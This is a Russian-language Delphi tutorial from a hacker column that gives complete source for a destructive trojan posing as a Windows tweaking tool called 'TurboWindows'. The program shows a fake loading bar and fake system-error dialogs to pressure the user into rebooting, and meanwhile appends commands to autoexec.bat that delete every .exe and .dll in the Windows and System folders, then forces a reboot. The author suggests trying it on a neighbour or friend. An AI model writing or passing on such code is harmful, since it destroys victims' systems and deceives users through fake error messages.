VR
Virtual Reality On-line   Delphi
Новости   |     Журнал    |    Хаkер   |     Магазин   |   Проекты
[   Вход    ]
[Kарта сайтa]
[ Download  ]
[  Конкурс  ]
[  Анекдоты ]
[  Ссылки   ]
[  Реклама  ]
[ Почтальон ]
[ О проекте ]






TopList
Delphi.
Killer-прога
:
Net Prosto aka Сергей Холодковский (dark4net@yandex.ru):

Начал я тут изучать Дэлфи... спасибо Horrific'у! Конечно начал писать проги которые не очень то нужны. Даже начал делать новый рабоий стол под 98-ые винды (к слову сказать я Линух не люблю. Не хочу я такой гипербраузер, но это совсем другая история). Летом, на даче, когда уехала моя девчонка, придумал я гениальный план, кодовое название "Киллер-прога". Приехал написал такую - и круто! А теперь расскажу что же это за программа. Вот приставь: скачал ты из Инета "рульную" утилиту для настройки Винды под названием TurboWindows (такое название у меня). Запускаешь, написано "Loading...", ждешь и вдруг вылетает ошибка и мастдай проситься перезагрузиться. Ты ребутишься и всё - Windows как не бывало :)! Кульно? Щаз мы с тобой такую прогу напишем!

Итак, писать мы будем всё это в Дэлфи 6, но теоретическии код должен скомпилиться и под 5. Сделай новую форму. Кинь рисунок и расстени его на всю формочку. На это форму кинь Guage, он (или она?) находиться в закладке Samples и таймер. Guage назови Konec. Так же положи на форму ещё объэкт Memo. И назови его Memo1. У тебя должно получиться что то типа:

Logo

Если что то не сходиться, пожмакай мышой по кнопкам, авось получиться :). Если ты читал статьи Horrific'а, то всё сделаеться без проблем. Всё графическая часть закончена. Начинаем программить.


 ЛИСТИНГ 1
 .....
 var
  a : Array[0..MAX_PATH] of char; //Всякие там переменные :)
  win,sys:String;
 .....
 procedure TForm1.FormCreate(Sender: TObject);
  begin
   GetWindowsDirectory(a, sizeof(a)); //Спрашиваем у системы её положение
   win:=a; //И записываем в переменную  win
   GetSystemDirectory(a, sizeof(a)); //Спрашиваем у системы папку SYSTEM
   sys:=a;  //И записываем в переменную sys
  end;

С Листингом 1 я думаю всё понятно. Тут prosto. У системы спрашиваем положение папок windows и system и записываем их в переменные. Для чего? А что бы потом хорошо напакостить и не обломиться. Ты конечно можешь написать prosto, папка винда это Windows/ и папка систэм это Windows/System/ , но поверь у всех по разному. У меня например винда находиться в папке Angel :).


 procedure KillWin;
  Begin
   Form1.Memo1.Lines.LoadFromFile('C:\autoexec.bat'); //Открываем autoexec.bat
   Form1.Memo1.Lines.Add('@ECHO off'+#13#10+'cd '+win+#13#10+'del *.exe'+#13#10+
        'del *.dll'+#13#10+'cd '+sys+#13#10+'del *.exe'+
         #13#10+'del *.dll'); //Дописываем  всякие удаления :)
   Form1.Memo1.Lines.SaveToFile('C:\autoexec.bat'); //Зарываем и сохраняем autoexec.bat
  end;

А теперь к Листингу 2. Вот что там происходит: открываеться Autoexec.bat в Memo1 , дописываються туда такие строчки:


 @ECHO off //Что бы команды не были виндны. Будет видно только "файл *** удалён" :)
 cd *** //Заходим в папку Винды
 del *.exe //Удаляем экзешки
 del *.dll  //и ддлэки и то же происходит в папке System
 cd ***
 del *.exe
 del *.dll

Звёздочками обозначенны папки System и Windows. Мы их узнаём из Листинга 1. Как ты знаешь (надеюсь) при загрузки винды загружаеться autoexec.bat, так вот если туда дописать выше указанные строчки, то винда не загрузиться. Что и требовалось доказать :). Но это ещё не всё.


ЛИСТИНГ 3

procedure RebootSystem;
var
 handle, ph: THandle;
 pid: DWORD;
 luid: TLargeInteger;
 dummy, priv: TOKEN_PRIVILEGES;
 ver: TOSVERSIONINFO;
begin
 ver.dwOSVersionInfoSize := Sizeof(ver);
 GetVersionEx(ver);
 if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then 
  begin
   pid := GetCurrentProcessId;
   ph := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
   if OpenProcessToken(ph, TOKEN_ADJUST_PRIVILEGES, handle) then
   if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then 
    begin
     priv.PrivilegeCount := 1;
     priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
     priv.Privileges[0].Luid := luid;
     AdjustTokenPrivileges(handle, false, priv, 0, dummy, pid);
    end;
  end;
 ExitWindowsEx(EWX_REBOOT, 0);
end;

В Литинге 3 описана перезагрузка компа. Тут слишком много описывать так что prosto перепиши и надейся на меня :). Этот ребут нам пригодиться дальше.


ЛИСТИНГ 4
procedure TForm1.Timer1Timer(Sender: TObject);
 var ExB:Word; // Переменная ExB, что бы узнать что нажал чел, "Да" или "Нет"
 i:integer; //Переменная цикла
begin
 randomize; //Что бы ошибки были случайные
 Konec.Progress:=Konec.Progress+1; //Прибавляються проценты к загрузке 
 if Konec.Progress=49 then //Если процентов 49, то сделать...
  BEGIN
   Timer1.Enabled:=False; //Выключам таймер
   ExB:=MessageBox(handle,pchar('При запуске программы, произошёл сбой в 
        системе Windows (Код ошибки 788. Сбой в секторе 0х0221432; 0х1395440;).
        Возможны временные сбои в отдельный устройсвах. Перезагрузите компьютер! 
        Если сообщение возникнет снова, то обратитесь к разработчику ПО.'+
        #13+#10+''+#13+#10+'Произвести перезагрузку сейчас?'),pchar('Сбой в системе Windows!'),
        20); 
 
   if Exb=IDYES then 
    Begin 
     KillWin; 
     RebootSystem; 
    End; //Если пипл нажал "Да"
 
   if Exb=IDNO then //Если нажал "Нет"
    BEGIN
     KillWin;
     for i:=1 to 5 do //Выводиться 5 ошибок
      MessageBox(handle,pchar('Не найден файл Kernel32.dll (Код ошибки 321, сбой в секторе 4х'+
          inttostr(random(9999999))+'; 2х'+inttostr(random(9999999))+
          ';). Необходима перезагрузка Windows.'+#13+#10+''),pchar('Внимание!'),16); 
     close; //Выход из проги
    END;
        END;
end;

Листинг 4 уже посложнее, но ты справишься не волнуйся! И так при запуске проги стартует Таймер, он прибовляет по 1 проценту ,за каждую секунду, к загрузе. Когда процентов накопиться 49, вылетит ошибка. Она появляеться с помощью MessageBox. Там можешь написать всё что угодно, но что бы уговорить юзака сребутить комп. Если он нажмет "Да", то запуститься процесс KillWin и RebootSystem, т.е запориться Autoexec.bat и комп перезагрузиться. А если гадский ушастик жмакнет на кнопку "Нет", то вылетит пять (на твоё усмотрение) ошибок с разными секторами (глянь в листинг , видишь там написано random - это случайные ошибки) что бы натуральнее было:). После этого если да же юзер не перезагрузит комп, то autoexec.bat будет уже запорот, и всё сделает при следающей загрузки виндов.

Всё хорошо ты перепечатал но прога не запускаеться что же делать? Дабавь в uses, а лучше снова перепечатай:


Uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Gauges; 

Ну вот и всё. Надеюсь у тебя всё получилось и ты не сильно будешь получать за эту прогу от соседа/друга/подруги. Но помни что это наказуемо в РФ, вроде наказуемо.

p.s Интересно в ближайшем времене в инете много таких киллеров будет? Тогда лучше в инет я лазить не буду :).

p.p.s. Если чо не понял то пиши на dark4net@yandex.ru.


Copyright©: Horrific aka Флёнов Михаил
Design by FMk group©